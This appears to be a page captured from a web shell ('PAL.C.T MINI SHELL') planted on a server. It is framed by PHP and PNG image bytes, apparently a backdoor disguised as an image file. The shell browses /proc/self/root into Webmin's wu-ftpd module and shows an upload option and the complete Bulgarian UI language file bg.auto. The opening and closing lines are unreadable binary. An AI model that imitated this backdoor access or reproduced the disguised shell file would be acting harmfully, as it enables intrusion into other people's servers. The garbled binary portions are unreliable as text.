php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/wuftpd/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/wuftpd/lang/bg.auto

index_title=WU-FTPD сървър
index_eftpd=FTP сървър $1 не може да бъде намерен във вашата система. Може би не е инсталиран или вашата <a href='$2'>конфигурация на FTP сървър модул</a> е неправилна.
index_eftpaccess=Конфигурационният файл FTP сървър $1 не съществува. Може би не е инсталиран или вашата <a href='$2'>конфигурация на FTP сървър модул</a> е неправилна.
index_eversion=FTP сървърът $1 не изглежда WU-FTPd. Може би използвате по-стара FTPd, предоставена с вашата операционна система, или вашата <a href='$2'>конфигурация на FTP сървър модул</a> е правилна. Изходът от FTP сървъра беше : $3 
index_apply=Прилага промени
index_applymsg=Кликнете върху този бутон, за да приложите текущата конфигурация. Това ще спре и рестартира всички работещи FTP сървърни процеси, като по този начин ще изключите всички свързани потребители.
index_start=Стартирайте сървъра
index_startmsg=Щракнете върху този бутон, за да стартирате FTP сървъра с текущата конфигурация. Можете също така да конфигурирате сървъра да се стартира автоматично, когато е необходимо, с помощта на модула <a href='$1'>Интернет услуги</a>.
index_startmsg2=Щракнете върху този бутон, за да стартирате FTP сървъра с текущата конфигурация. Можете също така да конфигурирате сървъра да се стартира автоматично, когато е необходимо, използвайки inetd или някаква еквивалентна програма.
index_return=Опции за FTP сървър
index_version=WU-FTPd версия $1 

class_title=Потребители и класове
class_header=Потребителски класове и потребителски опции
class_class=Потребителски класове
class_name=Име на клас
class_types=Типове потребители
class_addrs=Съответстващи адреси
class_real=Unix
class_guest=гост
class_anonymous=анонимен
class_guestuser=Потребителите на Unix и UID-ите, които да третират като гости
class_guestgroup=Unix групи и GID, за да се отнасят като гости
class_realuser=Потребителите на Unix и UID <i>не</i> се отнасят като гости
class_realgroup=Unix групи и GID <i>не</i> за третиране като гости
class_ftpusers=Потребителите на Unix да отказват (от $1)
class_deny_uid=Потребителите на Unix и UID-ите да отказват
class_deny_gid=Unix групи и GIDs за отказ
class_allow_uid=Потребителите на Unix и UID <i>не</i> да отказват
class_allow_gid=Unix групи и GID <i>не</i> за отказ
class_err=Неуспешно запазване на потребителски класове
class_eclass='$ $1' не е валидно име на клас
class_etypes=Няма избрани типове за клас '$ $1'
class_eaddrs=Няма въведени адреси за клас '$ $1'

message_title=Съобщения и банери
message_header=Съобщения, банери и README файлове
message_message=Файлове със съобщения
message_path=път
message_when=Кога да се покаже
message_login=При влизане
message_dir=Влизане реж
message_alldir=Влизане във всеки dir
message_classes=Класове за показване за
message_readme=README файлове
message_update=Кога да се покаже последната промяна на датата
message_greeting=Ниво на поздрав
message_full=Име на хост и версия
message_brief=Име на хост
message_terse=Нито едно
message_banner=Предварителен вход банер
message_none=Нито един
message_file=От файл
message_hostdef=Име на хоста на системата
message_hostname=Име на хост за съобщения
message_email=Имейл адрес на собственика
message_err=Неуспешно запазване на съобщения и банери
message_epath='$ $1' не е валиден път
message_cwd='$ $1' не е валидна директория
message_eclass=Клас '$ $1' не съществува
message_ebanner='$ $1' не е валиден файл с банер за вход
message_ehostname=Липсващо или невалидно име на хост
message_eemail=Липсващ или невалиден имейл адрес

acl_title=Ограничения и контрол на достъпа
acl_header=Ограничения и опции за контрол на достъпа
acl_deny=Отказване на достъп от
acl_daddrs=Отказ от адреса
acl_dmsg=Файл със съобщение за грешка
acl_file=Ограничения за прехвърляне на файлове и данни
acl_fblimit=Тип ограничение
acl_flimit=Файлове на сесия
acl_blimit=Байтове на сесия
acl_raw=Само данни?
acl_inout=Посока
acl_in=в
acl_out=от
acl_total=И двете
acl_count=максимален
acl_class=Кандидатствайте в клас
acl_all=Всички класове
acl_limit=Паралелни ограничения на потребителите
acl_n=Максимални потребители
acl_times=Понякога
acl_lmsg=Файл със съобщение за грешка
acl_unlimited=неограничен
acl_any=По всяко време
acl_alimit=Ограничение за анонимна сесия
acl_glimit=Ограничение за сесия за гости
acl_mins=минути
acl_fails=Максимални грешки при влизане
acl_private=Може ли да превключвате на групи?
acl_noret=Забранявате достъп до файлове
acl_nfiles=Файлове за отказ
acl_nrel=Относително към chroot?
acl_nclass=Отказ за класове
acl_allowret=Разрешаване на достъп до файлове, дори ако е отказано
acl_afiles=Файлове за разрешаване
acl_arel=Относително към chroot?
acl_aclass=Разрешаване за класове
acl_err=Неуспешно запазване на ограничения и контрол на достъпа
acl_edaddr='$ $1' не е валиден адрес
acl_edfile='$ $1' не е валиден адресен файл
acl_edmsg='$ $1' не е валиден файл за съобщение за грешка
acl_eln='$ $1' не е валиден максимален брой потребители
acl_etimes='$ $1' не е валиден времеви диапазон в стил UUCP
acl_elmsg='$ $1' не е валиден файл за съобщение за грешка
acl_efbcount='$ $1' не е валиден брой файлове или байтове
acl_elimit='$ $1' не е валиден срок
acl_efails='$ $1' не е валиден брой грешки при влизане

net_title=Работа в мрежа
net_header=Опции за работа в мрежа
net_tcp=Размери на прозореца на TCP
net_tsize=размер
net_tclass=За клас
net_tall=Всички класове
net_pasvaddr=Адреси за PASV връзки
net_pip=IP адрес
net_pcidr=За клиенти от мрежата
net_pasvport=Портове за PASV връзки
net_prange=Обхват на пристанището
net_err=Опазването на мрежовите опции не бе успешно
net_etsize='$ $1' не е валиден размер на прозореца на TCP
net_eip='$ $1' не е валиден IP адрес
net_enet='$ $1' не е валиден мрежов адрес
net_ecidr='$ $1' не е валиден брой мрежови битове
net_eport='$ $1' не е валиден номер на порт

log_title=Влизане
log_header=Опции за регистрация
log_commands=Влезте всички команди за
log_anonymous=Анонимни потребители
log_guest=Потребители на гостите
log_real=Потребители на Unix
log_trans=Дневни трансфери за
log_dir=По направления
log_inbound=Входящ
log_outbound=Изходяща
log_both=И двете
log_security=Нарушения на сигурността на вход за
log_to=Прехвърляне на вход в
log_syslog=Системен дневник
log_xferlog=XFER лог файл
log_sysxfer=И двете дестинации
log_err=Неуспешно запазване на опциите за записване

alias_title=Псевдоними и пътеки
alias_header=Псевдоним и опции за път
alias_alias=Псевдоними на директорията на CD
alias_from=Псевдоним име
alias_to=Псевдоним на директория
alias_cdpath=Път за търсене в директорията на CD
alias_err=Неуспешно запазване на псевдоними и пътеки
alias_efrom='$ $1' не е валидно име на псевдоним
alias_eto='$ $1' не е валидна директория с псевдоним
alias_ecdpath='$ $1' не е валидна директория за търсене на CD

anon_title=Анонимен FTP
anon_eftp=Внимание - вашата система няма <tt>ftp</tt> потребител и по този начин анонимният FTP вероятно не е конфигуриран.
anon_header=Анонимни опции за FTP
anon_auto=Unix групи за анонимни потребители
anon_group=Превключване към група
anon_classes=За часовете
anon_root=Anonymous FTP root директории
anon_dir=указател
anon_class=За клас
anon_any=който и да е
anon_passwd=Анонимна проверка на парола за FTP
anon_none=Позволете нещо
anon_trivial=Трябва да съдържа @
anon_rfc822=Трябва да е имейл адрес RFC822
anon_enforce=Отказ за влизане
anon_warn=Предупреди само
anon_email=Анонимни FTP пароли за отказ
anon_groot=Корени директории за гости
anon_uids=За потребителите на Unix
anon_err=Неуспешно запазване на анонимни опции за FTP
anon_edir='$ $1' не е валидна директория
anon_egroup='$ $1' не е валидна група

perm_title=Разрешения
perm_header=Опции за разрешение
perm_perms=Ограничения за команда
perm_type=команда
perm_can=Позволява?
perm_users=За потребителски типове
perm_classes=За часовете
perm_all=всичко
perm_anonymous=анонимен
perm_guest=гост
perm_real=Unix
perm_note=По подразбиране са разрешени всички команди за всички потребители
perm_filter=Забранени файлове за качване
perm_types=Типове потребители
perm_mesg=Файл със съобщение за грешка
perm_char=Разрешени символи
perm_regexp=Файл regexps за отказ
perm_err=Неуспешно запазване на разрешенията
perm_echar='$ $1' не е валиден регулярно изразен набор от символи
perm_etypes=Няма избрани типове потребители
perm_emesg='$ $1' не е валиден файл за съобщение за грешка

host_title=Контрол на достъпа на хоста

misc_title=Разни опции
misc_header=Разни опции
misc_lslong=Команда за дълъг списък
misc_lsshort=Команда за кратко изброяване
misc_lsplain=Проста команда за изброяване
misc_shutdown=Файл за известия за изключване
misc_none=Нито един
misc_nice=Ниво ниво на обслужване
misc_ndelta=Приятно ниво
misc_class=За часовете
misc_all=Всички класове
misc_defumask=По подразбиране umask за качени файлове
misc_umask=Umask
misc_err=Неуспешно запазване на различни опции
misc_elslong=Липсва команда за дълъг списък
misc_elsshort=Липсваща команда за кратко изброяване
misc_elsplain=Липсва обикновена команда за изброяване
misc_eshutdown=Липсващ известителен файл за изключване
misc_enice='$ $1' не е валидно хубаво ниво
misc_eumask='$ $1' не е валиден umask

log_class=Променени потребители и класове
log_message=Променени съобщения и банери
log_acl=Променени ограничения и контрол на достъпа
log_net=Променени опции за работа в мрежа
log_log=Променени опции за регистрация
log_alias=Променени псевдоними и пътеки
log_anon=Променен анонимен FTP
log_perm=Променени опции за разрешения
log_misc=Променени различни опции
log_restart=Приложен променен
log_start=Стартиран FTP сървър
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`